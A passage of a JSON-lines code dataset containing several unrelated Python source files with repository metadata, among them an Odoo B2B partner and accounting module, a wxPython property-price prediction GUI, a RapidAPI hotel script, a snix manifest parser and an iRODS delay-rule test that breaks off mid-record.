set(user.company_id for user in partner.user_ids)\n if len(companies) > 1 or company not in companies:\n raise UserError(_(\n \"You can not change the company as the partner/user has multiple user linked with different companies.\"))\n tools.image_resize_images(vals)\n\n result = True\n # To write in SUPERUSER on field is_company and avoid access rights problems.\n if 'is_company' in vals and self.user_has_groups(\n 'base.group_partner_manager') and not self.env.uid == SUPERUSER_ID:\n result = super(b2b_partner, self).sudo().write({'is_company': vals.get('is_company')})\n del vals['is_company']\n result = result and super(b2b_partner, self).write(vals)\n for partner in self:\n if any(u.has_group('base.group_user') for u in partner.user_ids if u != self.env.user):\n self.env['res.users'].check_access_rights('write')\n partner._fields_sync(vals)\n return result\n ##########################################################################\n\n @api.onchange('shop_markup')\n def onchange_shop_markup(self):\n prod_tmpl_obj = self.env['product.template']\n prod_prod_obj = self.env['product.product']\n prod_attr_price_obj = self.env['product.attribute.price'].sudo()\n # 更新店铺中收录的产品\n shop_prods = prod_tmpl_obj.search([('product_owner', '=', self.id)])\n if shop_prods:\n for s_prod in shop_prods:\n\n markup_lines = self.env['b2b.trader.markup'].search(\n [('partner', '=', self.parend_id.id), ('id', '=', s_prod.trader_categ_id.id)], limit=1)\n d_markup = markup_lines.rate or 0\n\n s_prod.write({'list_price': s_prod.standard_price * (1 + d_markup / 100.0) * (1 + self.shop_markup / 100.0)})\n\n s_attr_val = s_prod.mapped('attribute_value_ids')\n for value in s_attr_val:\n vlu = value[0].id\n s_attr_price = prod_attr_price_obj.search([('product_tmpl_id', '=', s_prod.id),\n ('value_id', '=', vlu)])\n if s_attr_price:\n s_attr_price.write({'price_extra': s_attr_price.price_extra * (1 + self.shop_markup / 100.0)})\n s_prod._set_product_lst_price()\n\n @api.one\n def _debit_to_value(self):\n self.debit_value = self.debit\n\n @api.one\n def _displayable_on_kanban(self):\n if self.env.user.partner_id == self or self.env.user.partner_id.parent_id == self:\n self.kanban_display = True\n\n def _search_displayable_on_kanban(self,operarot,value):\n if value == True:\n ids = []\n partner = self.env.user.partner_id.parent_id or self.env.user.partner_id\n lines = self.search([('id', '=', partner.id)])\n if lines:\n for line in lines:\n ids.append(line.id)\n return [('id', 'in', ids)]\n\n @api.one\n def _withdraw_balance_get(self):\n amount = 0\n withdrawn = 0\n move_line_obj = self.env['account.move.line'].sudo()\n journal_id = self.env.ref('b2b_platform.account_journal_data_supplier').id\n withdraw_account_id = self.env['account.account'].sudo().search([('name', '=', u'商户提现')], limit=1).id\n bank_account_id = self.env['account.account'].sudo().search([('name', '=', u'银行')], limit=1).id\n move_lines = move_line_obj.search([('journal_id','=',journal_id), ('partner_id','=',self.id), ('account_id','=',withdraw_account_id)])\n if move_lines:\n for line in move_lines:\n amount += line.credit\n move_lines_2 = move_line_obj.search([('journal_id', '=', journal_id), ('partner_id', '=', self.id), ('account_id', '=', bank_account_id)])\n if move_lines_2:\n for line in move_lines_2:\n withdrawn += line.credit\n self.withdraw_balance = amount - withdrawn\n\n @api.one\n def _prepayment_get(self):\n\n move_obj = self.env['account.move'].sudo()\n invoice_obj = self.env['account.invoice'].sudo()\n dist = self.env.user.partner_id.parent_id or self.env.user.partner_id\n\n # 累计充值金额\n deposit_amt = 0\n journal_id = self.env.ref('b2b_platform.account_journal_data_deposit')\n deposits = move_obj.search([('journal_id','=',journal_id.id),('partner_id','=',dist.id),('state','=','posted')])\n if deposits:\n for deposit in deposits:\n deposit_amt += deposit.amount\n\n # 累计开票金额跟未支付金额\n inv_amt = 0\n unpaid_amt = 0\n invoices = invoice_obj.search([('partner_id','=',dist.id),('type','=','out_invoice')])\n if invoices:\n for invoice in invoices:\n inv_amt += invoice.amount_total\n unpaid_amt += invoice.residual\n\n self.deposit_amt = deposit_amt - inv_amt + unpaid_amt\n self.deposit_avail_amt = deposit_amt - inv_amt\n\n # http post method\n def _url_post(self,url, data):\n req = urllib2.Request(url)\n data = urllib.urlencode(data)\n # enable cookie\n opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())\n response = opener.open(req, data)\n return response.read()\n\n # 用户注册审核通过\n @api.multi\n def btn_registration_pass(self):\n if (not self.category_id) or (not self.email):\n raise osv.except_osv(\"资料不完整,请继续完善!\")\n\n if len(self.search([('mobile','=',self.mobile)])) > 1:\n raise UserError(u'该商户的手机号已被占用,请核查')\n\n user_obj = self.env['res.users'].sudo()\n group_obj = self.env['res.groups'].sudo()\n for rec in self:\n user_id = user_obj.search([('partner_id','=',rec.id)],limit=1)\n if not user_id:\n raise osv.except_osv(\"未找到对应的系统账号,用户已申请入驻?\")\n if rec.category_id:\n # 去掉门户权限组\n if user_id.has_group('base.group_portal'):\n portal_group_id = self.env['ir.model.data'].get_object('base', 'group_portal')\n user_id.write({'groups_id': [(5, portal_group_id.id)]})\n for categ in rec.category_id:\n # 如果有供应商角色\n if categ.name == u'供应商':\n # 添加管理员权限\n if not user_id.sudo().has_group('b2b_platform.group_qdoo_supplier_manager'):\n group_id = self.env['ir.model.data'].sudo().get_object('b2b_platform', 'group_qdoo_supplier_manager')\n # res_group = group_obj.search([('id','=',group_id.id)])\n # res_group.write({'users': [(4, user_id.id)]})\n user_id.write({'groups_id': [(4, group_id.id)]})\n # # 添加仓库\n # wh_obj = self.env['stock.warehouse']\n # warehouse = wh_obj.sudo().search([('partner_id','=',rec.id)])\n # if not warehouse:\n # wh_obj.create({'name':rec.name,\n # 'partner_id':rec.id,\n # 'code': 'S' + str(rec.id),\n # 'reception_steps':'one_step',\n # 'delivery_steps':'ship_only',\n # 'buy_to_resupply':False,\n # })\n # 添加供应商所属库位\n stock_location_obj = self.env['stock.location']\n location = stock_location_obj.sudo().search([('partner_id', '=', rec.id)])\n if not location:\n stock_location_obj.create({'name': rec.name,\n 'location_id': self.env.ref('b2b_platform.stock_location_wh_suppliers').id,\n 'partner_id': rec.id,\n 'usage': 'internal',\n })\n # # 添加第三方仓库所属库位, 不自动创建,改为手工添加\n # stock_location_obj.create({'name': rec.name,\n # 'location_id': self.env.ref('b2b_platform.stock_location_wh_3pl').id,\n # 'partner_id': rec.id,\n # 'usage': 'internal',\n # })\n # 如果有经销商角色\n elif categ.name == u'经销商':\n # 添加管理员权限\n if not user_id.has_group('b2b_platform.group_qdoo_distributor_manager'):\n dist_group_id = self.env['ir.model.data'].sudo().get_object('b2b_platform', 'group_qdoo_distributor_manager')\n # dist_group = group_obj.search([('id', '=', dist_group_id.id)])\n # dist_group.write({'users': [(4, user_id.id)]})\n user_id.write({'groups_id': [(4, dist_group_id.id)]})\n # 审核完成\n rec.sudo().qdoo_state = 'approved'\n\n # 收汇系统集成\n '''\n exchange_system_url = self.env['ir.config_parameter'].get_param('exchange_system_url')\n\n if exchange_system_url:\n # 原始收汇密码\n origin_exchange_password = ''.join(random.sample(string.ascii_letters + string.digits, 8))\n exchange_key = 'esupplyc'\n exchange_password = base64.b64encode(origin_exchange_password + exchange_key)\n\n str_exchange_system_url = exchange_system_url + '/usercenter/user/gmRegist'\n data = {'login_account':user_id.login, 'password':exchange_password, 'mobile':user_id.partner_id.mobile}\n str_response = self._url_post(str_exchange_system_url, data)\n json_response = json.loads(str_response)\n\n if json_response['error_no']==0:\n user_id.write({'exchange_token': exchange_password,'is_bind':True})\n else:\n user_id.write({'exchange_system_error': json_response['error_info'], 'is_bind': False})\n '''\n\n def get_list(self):\n partner = self.env.user.partner_id.parent_id or self.env.user.partner_id\n\n report_obj = self.env['b2b.trader.accounting']\n invoice_obj = self.env['account.invoice']\n move_obj = self.env['account.move']\n move_line_obj = self.env['account.move.line']\n\n report_obj.search([('partner_id', '=', partner.id)]).unlink()\n\n # 充值明细\n journal_id = self.env.ref('b2b_platform.account_journal_data_deposit')\n deposits = move_obj.search(\n [('journal_id', '=', journal_id.id), ('partner_id', '=', partner.id), ('state', '=', 'posted')])\n for deposit in deposits:\n report_obj.create({'partner_id': partner.id,\n 'categ': u'充值',\n 'number': deposit.name,\n 'origin': deposit.ref,\n 'date_invoice': deposit.date,\n 'amount_total': deposit.amount,\n 'state': 'paid',\n })\n\n # 客户发票\n invoices = invoice_obj.search([('partner_id', '=', partner.id), ('type', '=', 'out_invoice')])\n for inv in invoices:\n report_obj.create({'partner_id': partner.id,\n 'categ': u'发票',\n 'number': inv.number,\n 'origin': inv.origin,\n 'date_invoice': inv.date_invoice,\n 'amount_total': inv.amount_total * -1.0,\n 'state': inv.state,\n })\n\n # 供应商待结算账单\n bills = invoice_obj.search([('partner_id', '=', partner.id), ('type', '=', 'in_invoice'), ('state', '=', 'open')])\n for bill in bills:\n report_obj.create({'partner_id': partner.id,\n 'categ': u'待结算',\n 'number': bill.number,\n 'origin': bill.origin,\n 'date_invoice': bill.date_invoice,\n 'amount_total': bill.amount_total,\n 'state': bill.state,\n })\n\n # 可提现金额明细\n journal = self.env.ref('b2b_platform.account_journal_data_supplier').id\n bank_account_id = self.env['account.account'].sudo().search([('name', '=', u'银行')], limit=1).id\n payable_account_id = self.env['account.account'].sudo().search([('name', '=', u'应付账款')], limit=1).id\n sup_bills = invoice_obj.search(\n [('partner_id', '=', partner.id), ('type', '=', 'in_invoice'), ('state', '=', 'paid')])\n for line in sup_bills:\n report_obj.create({'partner_id': partner.id,\n 'categ': u'已结算',\n 'number': line.number,\n 'origin': line.origin,\n 'date_invoice': line.date_invoice,\n 'amount_total': line.amount_total,\n 'state': line.state,\n })\n\n move_lines_2 = move_line_obj.search(\n [('journal_id', '=', journal), ('partner_id', '=', partner.id), ('account_id', '=', bank_account_id)])\n for line2 in move_lines_2:\n report_obj.create({'partner_id': partner.id,\n 'categ': u'已提现',\n 'number': line2.name,\n 'origin': line2.ref,\n 'date_invoice': line2.date,\n 'amount_total': line2.credit * -1.0,\n 'state': 'paid',\n })\n\n return {\n 'name': '商户交易明细',\n 'view_type': 'tree',\n \"view_mode\": 'tree',\n 'res_model': 'b2b.trader.accounting',\n 'type': 'ir.actions.act_window',\n 'views': [(False, 'tree'), (False, 'form')],\n 'context': {'create': False, 'edit': False},\n 'domain': [('partner_id', '=', self.env.user.partner_id.parent_id.id or self.env.user.partner_id.id)]\n }\n\n\nclass PartnerCategory(models.Model):\n _inherit = 'res.partner.category'\n\n child_id = fields.One2many('res.partner.category', 'parent_id', u'子类别')\n qdoo_func = fields.Selection([\n ('distributor', u'经销商'),\n ('supplier', u'供应商'),\n ], u'商户类型')\n\n\nclass b2b_res_users(models.Model):\n _inherit = 'res.users'\n\n qdoo_func = fields.Selection(u'平台角色', related = 'partner_id.qdoo_func')\n type = fields.Selection(u'业务角色', related = 'partner_id.type')\n # shop_operator = fields.Many2one('res.partner', u'店铺管理员', domain=\"[('type','=','operator')]\",\n # related='partner_id.shop_operator')\n ownership = fields.Many2one('res.partner', u'所属商户',related='partner_id.parent_id')\n owner_manager = fields.Many2one('res.users', u'商户管理员',compute='_get_owner_manager', search='_search_own_manager')\n\n # 收汇系统集成\n # 随机生成token\n exchange_token=fields.Char('token')\n # 是否绑定\n is_bind=fields.Boolean('is_bind')\n # 收汇系统集成error\n exchange_system_error=fields.Char('exchange_system_error')\n\n\n @api.one\n def _get_owner_manager(self):\n self.owner_manager = self.search([('partner_id.parent_id','=',self.env.user.partner_id.id)])\n\n def _search_own_manager(self,operator,uid):\n users = self.search([('partner_id.parent_id', '=', self.env.user.partner_id.id)])\n return [('id', 'in', users.ids)]\n\n @api.multi\n def write(self, vals):\n #############################################\n # 商户创建的账号要关联商户\n for user in self:\n if user.type in ('shop', 'operator', 'warehouse') and (not user.partner_id.parent_id):\n distributor = self.env.user.partner_id.parent_id or self.env.user.partner_id\n if not distributor:\n raise UserError(u'未找到您所属的经销商,请联系平台管理员')\n user.partner_id.parent_id = distributor\n #############################################\n write_res = super(b2b_res_users, self).write(vals)\n if vals.get('groups_id'):\n # form: {'group_ids': [(3, 10), (3, 3), (4, 10), (4, 3)]} or {'group_ids': [(6, 0, [ids]}\n user_group_ids = [command[1] for command in vals['groups_id'] if command[0] == 4]\n user_group_ids += [id for command in vals['groups_id'] if command[0] == 6 for id in command[2]]\n self.env['mail.channel'].search([('group_ids', 'in', user_group_ids)])._subscribe_users()\n return write_res\n\n @api.model\n def create(self, values):\n if not values.get('login', False):\n action = self.env.ref('base.action_res_users')\n msg = _(\"You cannot create a new user from here.\\n To create new user please go to configuration panel.\")\n raise exceptions.RedirectWarning(msg, action.id, _('Go to the configuration panel'))\n\n user = super(b2b_res_users, self).create(values)\n\n #############################################\n # 商户创建的账号要关联商户\n distributor = self.env.user.partner_id.parent_id or self.env.user.partner_id\n if not distributor:\n raise UserError(u'未找到您所属的经销商,请联系平台管理员')\n # if values.get('type', False) in ('shop', 'operator', 'warehouse'):\n if user.type in ('shop', 'operator', 'warehouse'):\n user.partner_id.parent_id = distributor\n #############################################\n\n # create a welcome message\n user._create_welcome_message()\n\n return user\n\nclass B2bTraderAccounting(models.TransientModel):\n _name = 'b2b.trader.accounting'\n _order = 'date_invoice'\n\n partner_id = fields.Many2one('res.partner', u'商户')\n categ = fields.Char(u'类别')\n number = fields.Char(u'凭证')\n origin = fields.Char(u'源单据')\n date_invoice = fields.Date(u'日期')\n amount_total = fields.Float(u'金额', digits=(16,2))\n state = fields.Selection([('open', u'打开'), ('paid', '已付')], u'状态')\n\n\n","repo_name":"ljp1992/mxnet","sub_path":"b2b_platform/models/b2b_partner.py","file_name":"b2b_partner.py","file_ext":"py","file_size_in_byte":27032,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"73500771560","text":"import serial\nimport numpy\nimport cv2\nimport time\n\nser = serial.Serial(\"/dev/ttyUSB0\",9600,timeout=1)\ncap = cv2.VideoCapture(1)\n\nfor i in range(100):\n ret, frame = cap.read()\n cv2.imshow('3D Scanner',frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n ser.write(\"P0,0\"+str(i)+\"\\r\")\n time.sleep(0.5)\n if i == 99:\n ser.write(\"P0,0000\\r\")\n \ncap.release()\ndel cap\ncv2.destroyAllWindows()\n \n","repo_name":"benersuay/cyclops","sub_path":"rotate_and_display.py","file_name":"rotate_and_display.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17553740606","text":"numbers = (0, 1, 3, 14, 2, 7, 9, 8, 10)\nprint(numbers)\nnumbers = (12.5, 3.1415, 2.718, 9.8, 1.414, 1.1618, 1.324)\n\n\n\ncountries = ('Russia', 'Argentina', 'Spain', 'Slovakia', 'Canada', 'Slovenia', 'Italy')\nindex = countries.index('Slovenia')\nprint(index)\n\ncountries = ('Russia', 'Argentina', 'Spain', 'Slovakia', 'Canada', 'Slovenia', 'Italy', 'Spain', 'Ukraine', 'Chile', 'Spain', 'Cameroon')\nnumber = countries.count('Spain')\nprint(number)\n\nnumbers1 = (1, 2, 3)\nnumbers2 = (6,)\nnumbers3 = (7, 8, 9, 10, 11, 12, 13)\nl = numbers1*2 + numbers2*9 + numbers3\nprint(l)\n\ncity_name = input()\ncity_year = int(input())\n\ncity = (city_name, city_year)\nprint(city)","repo_name":"myreflect1on/prodvin","sub_path":"6.1.py","file_name":"6.1.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25622514058","text":"clear\n\"\"\"\n TESTE DE VALIDAÇÃO DE CNPJ COM PYTHON\n\n Autor : Haynesss\n Data : 04/07/2016\n License: GPL v3\n\n\"\"\"\nimport os\n\n# 5 0 3 7 7 1 5 8 0 0 0 1 0 6\ndig1 = [5, 4, 3, 2, 9, 8, 7, 6, 5, 4, 3, 2]\ndig2 = [6, 5, 4, 3, 2, 9, 8, 7, 6, 5, 4, 3, 2]\n\nsoma = 0\ndigRes1 = 0\ndigRes2 = 0\n\nos.system(\"clear\")\ncpf = input(\"Digite um CNPJ (Somente Numeros)\")\nprint(\"\\n\")\n\nlistCNPJ = list(cpf)\n\n\"\"\"\n Digito 1\n\"\"\"\n\nsoma = 0\n\nfor a in range(0, 12):\n soma = soma + (int(dig1[a]) * int(listCNPJ[a]))\n print(soma)\n","repo_name":"zerossB/AulasPython","sub_path":"AulasPython/PyCNPJ.py","file_name":"PyCNPJ.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14402741786","text":"class Vehicle:\n \n def __init__(self, category, wheels = 4):\n self.category = category\n self.wheels = wheels\n \n\n\nsports = Vehicle(\"Sports\")\ntruck = Vehicle(\"Truck\")\nminivan = Vehicle(\"Minivan\")\nmotorcycle = Vehicle(\"Motorcycle\", 2)\n\nprint (sports.category, sports.wheels)\nprint (truck.category, truck.wheels)\nprint (minivan.category, minivan.wheels)\nprint (motorcycle.category, motorcycle.wheels)","repo_name":"shoel-uddin/Digital-Crafts-Classes","sub_path":"programming102/exercises/class_exercise.py","file_name":"class_exercise.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"18859340101","text":"#-*-coding: utf-8 -*-\nimport wx\nimport j_m\nimport b_j\nimport m_change\nimport m\nimport wb\nimport deep_m\nimport m_all\nimport m_change\nimport m_map\nimport building\nimport w\nimport wb\nimport map2\nclass Example(wx.Frame):\n\n def __init__(self, parent, title):\n super(Example, self).__init__(parent, title=title)\n self.check1_ok=0\n self.check2_ok=0\n self.check3_ok=0\n self.InitUI()\n self.Centre()\n self.yesan=0\n#self.year=\"\"\n def InitUI(self):\n \n panel = wx.Panel(self)\n\n sizer = wx.GridBagSizer(5, 5)\n\n text1 = wx.StaticText(panel)\n sizer.Add(text1, pos=(0, 0), flag=wx.TOP|wx.LEFT|wx.BOTTOM,\n border=15)\n\n icon = wx.StaticBitmap(panel, bitmap=wx.Bitmap('ssw.png'))\n sizer.Add(icon, pos=(0, 2), flag=wx.LEFT|wx.CENTRE,border=30)\n\n line = wx.StaticLine(panel)\n sizer.Add(line, pos=(1, 0), span=(1, 5),\n flag=wx.EXPAND|wx.BOTTOM, border=10)\n\n text2 = wx.StaticText(panel, label=\"예 산\")\n sizer.Add(text2, pos=(2, 0), flag=wx.LEFT, border=10)\n self.tc1 = wx.TextCtrl(panel)\n sizer.Add(self.tc1, pos=(2, 1), span=(1, 3), flag=wx.TOP|wx.EXPAND)\n \n text3 = wx.StaticText(panel, label=\"연 도\")\n sizer.Add(text3, pos=(3, 0), flag=wx.LEFT, border=10)\n self.tc2 = wx.TextCtrl(panel)\n sizer.Add(self.tc2, pos=(3, 1), span=(1, 3), flag=wx.TOP|wx.EXPAND)\n\n text4 = wx.StaticText(panel, label=\"지 역\")\n sizer.Add(text4, pos=(4, 0), flag=wx.TOP|wx.LEFT, border=10)\n\n self.combo = wx.ComboBox(panel,choices=\n ['선 택','서울-강북지역','서울-강남지역','경기','인천',\n '부산','대구','광주','대전','울산','세종','강원',\n '충청도','전라도','경상도']\n )\n sizer.Add(self.combo, pos=(4, 1), span=(1, 3),\n flag=wx.TOP|wx.EXPAND, border=5)\n self.Bind(wx.EVT_COMBOBOX,self.OnSelect,self.combo);\n sb = wx.StaticBox(panel, label=\"옵 션\")\n\n self.check1 = wx.CheckBox(panel,-1,\"매매 + 건물\")\n self.check2 = wx.CheckBox(panel,-1,\"전국 단위 예측\")\n self.check3 = wx.CheckBox(panel,-1,\"지도 보기\")\n self.Bind(wx.EVT_CHECKBOX,self.OnCheck1,self.check1)\n self.Bind(wx.EVT_CHECKBOX,self.OnCheck2,self.check2)\n self.Bind(wx.EVT_CHECKBOX,self.OnCheck3,self.check3)\n boxsizer = wx.StaticBoxSizer(sb, wx.VERTICAL)\n boxsizer.Add(self.check1,flag=wx.LEFT, border=5)\n boxsizer.Add(self.check2,flag=wx.LEFT, border=5)\n boxsizer.Add(self.check3,flag=wx.LEFT|wx.BOTTOM, border=5)\n \n sizer.Add(boxsizer, pos=(5, 0), span=(1, 5),\n flag=wx.EXPAND|wx.TOP|wx.LEFT|wx.RIGHT , border=10)\n\n self.button3 = wx.Button(panel, label='추 세')\n sizer.Add(self.button3, pos=(7, 0), flag=wx.LEFT, border=10)\n self.Bind(wx.EVT_BUTTON,self.OnAllButton,self.button3)\n \n self.button4 = wx.Button(panel, label=\"Ok\")\n sizer.Add(self.button4, pos=(7, 3))\n self.Bind(wx.EVT_BUTTON,self.OnOkButton,self.button4)\n button5 = wx.Button(panel, label=\"Cancel\")\n sizer.Add(button5, pos=(7, 4), span=(1, 1),\n flag=wx.BOTTOM|wx.RIGHT, border=10)\n\n sizer.AddGrowableCol(2)\n\n panel.SetSizer(sizer)\n sizer.Fit(self)\n\n def OnSelect(self,event):\n self.region=self.combo.GetValue()\n def OnCheck1(self,event):\n self.check1_ok=int(self.check1.GetValue())\n def OnCheck2(self,event):\n self.check2_ok=int(self.check2.GetValue())\n def OnCheck3(self,event):\n self.check3_ok=int(self.check3.GetValue())\n def OnAllButton(self,event):\n m_all.run()\n def OnOkButton(self,event):\n self.yesan=int(self.tc1.GetValue())\n self.year=self.tc2.GetValue()\n print(\"예산 : %s, 연도 : %s, 지역 : %s 옵션 : %d %d %d\"%(self.yesan,self.year,self.region,self.check1_ok,self.check2_ok,self.check3_ok))\t\n#m.run()\n year_list=self.year.split('년 ')\n month_list=year_list[1].split(\"월\")\n predict_month=(12*(int(year_list[0])-2012)+(int(month_list[0])-1))\n\n print(\"!!!!!!!!!!!!!\",self.region)\n if self.check1_ok == 1:\n wb.run(self.yesan,predict_month,self.region)\n w.run(self.yesan,predict_month,self.region)\n if self.check2_ok == 0 :\n deep_m.run(self.yesan,predict_month,self.region,self.check1_ok)\n else: \n m_change.run(predict_month)\t\n if self.check3_ok == 1:\n map2.run(predict_month)\n\n\nclass MyApp(wx.App):\n def OnInit(self):\n self.frame = Example(None, \"select the option\")\n self.SetTopWindow(self.frame)\n self.frame.Show()\n return True\n\n# end of class MyApp\n\nif __name__ == \"__main__\":\n app = MyApp(0)\n app.MainLoop()\n\n# def main():\n# app = wx.App()\n# ex = Example(None, title=\"Prediction\")\n# ex.Show()\n# app.MainLoop()\n\n# if __name__ == '__main__':\n# main()\n","repo_name":"sethut/Statistics-Project","sub_path":"spark_file2/spark_gui.py","file_name":"spark_gui.py","file_ext":"py","file_size_in_byte":5070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21871739367","text":"\"\"\"\nПолучить метаданные локации\n\"\"\"\n\nimport requests\nimport os\nfrom dotenv import load_dotenv\nimport json\n\n\nload_dotenv()\n\nurl = \"https://hotels4.p.rapidapi.com/\"\nendpoints = \"v2/get-meta-data\"\nheaders = {\n \"X-RapidAPI-Key\": os.getenv(\"RAPIDAPI_KEY\"),\n \"X-RapidAPI-Host\": os.getenv(\"RAPIDAPI_HOST\")\n}\n\nresponse = requests.get(url=url+endpoints, headers=headers)\n\nif response.status_code == 200:\n data = json.loads(response.text)\n with open(\"v2_get-meta-data.txt\", \"w\") as file:\n json.dump(data, file, indent=4)\nelse:\n print(\"Error\")\n print(response.text)\n","repo_name":"Ancous/test_bot_1","sub_path":"site_api/v2_get-meta-data/v2_get-meta-data.py","file_name":"v2_get-meta-data.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21975699796","text":"#!/usr/bin/env python\nimport json\nimport os\nimport singleton\nimport snixCore\nfrom jsonschema import Draft4Validator\nfrom item import Item\nfrom repo import Repo\nfrom script import Script\nimport ConfigParser\n\n\nclass snixContext:\n \"\"\"A parser that will build an in-memory representation of a snix manifest.\"\"\"\n __metaclass__ = singleton.Singleton\n\n @staticmethod\n def construct_from(manifest_file):\n sc = snixContext(manifest_file)\n sc._construct()\n return sc\n\n def __init__(self, _file):\n if not os.path.isfile(_file):\n snixCore.abort(\"%s is not a valid file path!\" % _file)\n self._file = _file\n self._manifest_items = []\n self._manifest_repos = []\n self._manifest_custom_scripts = []\n\n # TODO navigate all includes.\n # make sure it doesn't have cycles.\n def _construct(self):\n snixConf = os.path.join(os.environ[\"HOME\"],\".snix\",\"snix.conf\")\n with open(self._file, 'r') as candidate:\n _data = json.load(candidate)\n parser = ConfigParser.ConfigParser()\n parser.read(snixConf)\n snixHome = parser.get(\"config\", \"snix.home\")\n if 'includes' in _data:\n self._collect_includes(_data,snixHome)\n if 'items' in _data:\n map(lambda i:self._manifest_items.append(i), _data['items'])\n if 'repos' in _data:\n map(lambda i:self._manifest_repos.append(i), _data['repos'])\n if 'customScripts' in _data:\n map(lambda i:self._manifest_custom_scripts.append(i), _data['customScripts'])\n\n\n def _collect_includes(self, _data,_snixHome):\n \n for include in _data['includes']:\n _repo = include['upstreamRepo']\n _dir = _repo.split('/')[-1].split('.')[0]\n if not os.path.exists(_dir):\n includeContext={}\n includeContext['snix_root']= _snixHome\n includeContext['repo_location']= _repo\n Repo(includeContext).clone()\n grp_dir = include['pathRelativeToGroupManifestDir']\n _include_file = os.path.join(_snixHome, _dir, grp_dir,grp_dir+'.snix')\n self._collect_from_file(_include_file,_snixHome)\n\n def _collect_from_file(self, _include_file, _snixHome):\n with open(_include_file, 'r') as candidate:\n _data = json.load(candidate)\n if 'include' in _data:\n self._collect_includes(_data, _snixHome)\n if 'items' in _data:\n map(lambda i:self._manifest_items.append(i), _data['items'])\n if 'repos' in _data:\n map(lambda i:self._manifest_repos.append(i), _data['repos'])\n if 'customScripts' in _data:\n map(lambda i:self._manifest_custom_scripts.append(i), _data['customScripts'])\n\n def __str__(self):\n items = [''.join(\"{0} via {1}\".format(item['names'], item['via'])) for item in iter(self._manifest_items)]\n return '\\n'.join([\"\\nItems to install: {0}\".format(items),\n \"Repositories to clone:{0}\".format(json.dumps(self._manifest_repos, indent=2)),\n \"Custom scripts to execute:{0}\".format(json.dumps(self._manifest_custom_scripts, indent=2))])\n\n # TODO: make this take in a filter.\n def get_items(self):\n def _build_item(name, via):\n item_context = {'name': name, 'via': via}\n return Item(item_context)\n\n all_items = []\n for item in self._manifest_items:\n for name in item['names']:\n all_items.append(_build_item(name, item['via']))\n return all_items\n\n def get_repos(self):\n all_repos=[]\n for repo in self._manifest_repos:\n repo_context = {'repo_location': repo}\n all_repos.append(Repo(repo_context))\n return all_repos\n\n def get_custom_scripts(self):\n all_scripts=[]\n for script in self._manifest_custom_scripts:\n custom_script_context = {'script_location': script}\n all_scripts.append(Script(custom_script_context))\n return all_scripts\n\n\n","repo_name":"nishantkakar/snix","sub_path":"snixContext.py","file_name":"snixContext.py","file_ext":"py","file_size_in_byte":4087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9185887592","text":"import sys\nsys.stdin = open(\"bj1347.txt\",'r')\n\nDir = [(1,0),(0,-1),(-1,0),(0,1)]\nN = int(input())\nS = input()\nMap = [[0]*101 for _ in range(101)]\nhY,hX = (50,50)\nMap[hY][hX]=1\nD,St,En = 0,50,50\nfor s in S:\n if s=='L':\n D-=1\n if D==-1:D=3\n elif s=='R':\n D+=1\n if D==4:D=0\n else:\n hY+=Dir[D][0]\n hX+=Dir[D][1]\n if hXEn:En=hX\n Map[hY][hX]=1\nfor m in Map:\n if any(m):\n for p in range(St,En+1):\n if m[p]:print('.',end='')\n else:print('#',end='')\n print()\n","repo_name":"choo0618/TIL","sub_path":"algoritm/20상반기 코딩테스트/미로 만들기/bj1347.py","file_name":"bj1347.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74111524199","text":"from __future__ import print_function\nimport sys\n\nif sys.version_info < (2, 7):\n import unittest2 as unittest\nelse:\n import unittest\n\nfrom . import session\nfrom .. import test\nfrom ..configuration import IrodsConfig\n\nplugin_name = IrodsConfig().default_rule_engine_plugin\n\nclass Test_Iqmod(session.make_sessions_mixin([('otherrods', 'rods')], []), unittest.TestCase):\n\n def setUp(self):\n super(Test_Iqmod, self).setUp()\n self.admin = self.admin_sessions[0]\n\n def tearDown(self):\n super(Test_Iqmod, self).tearDown()\n\n @unittest.skipUnless(plugin_name == 'irods_rule_engine_plugin-irods_rule_language', 'only run for native rule language')\n @unittest.skipIf(test.settings.RUN_IN_TOPOLOGY, \"Skip for Topology Testing\")\n def test_iqmod_does_not_accept_invalid_priority_levels__issue_2759(self):\n # Schedule a delay rule.\n rep_name = 'irods_rule_engine_plugin-irods_rule_language-instance'\n delay_rule = 'delay(\"{0}1s\") {{ 1 + 1; }}'.format(rep_name)\n self.admin.assert_icommand(['irule', '-r', rep_name, delay_rule, 'null', 'ruleExecOut'])\n\n try:\n # Get the delay rule's ID.\n delay_rule_id, err, ec = self.admin.run_icommand(['iquest', '%s', 'select RULE_EXEC_ID'])\n self.assertEqual(ec, 0)\n self.assertEqual(len(err), 0)\n self.assertGreater(len(delay_rule_id.strip()), 0)\n\n # Show that the priority cannot be set to a value outside of the accepted range [0-9].\n self.admin.assert_icommand(['iqmod', delay_rule_id.strip(), 'priority', '-1'], 'STDERR', ['-318000 USER_INPUT_OPTION_ERR'])\n self.admin.assert_icommand(['iqmod', delay_rule_id.strip(), 'priority', '0'], 'STDERR', ['-130000 SYS_INVALID_INPUT_PARAM'])\n self.admin.assert_icommand(['iqmod', delay_rule_id.strip(), 'priority', '10'], 'STDERR', ['-130000 SYS_INVALID_INPUT_PARAM'])\n finally:\n self.admin.run_icommand(['iqdel', '-a'])\n\n self.admin.assert_icommand(['iquest', 'select RULE_EXEC_ID'], 'STDOUT', 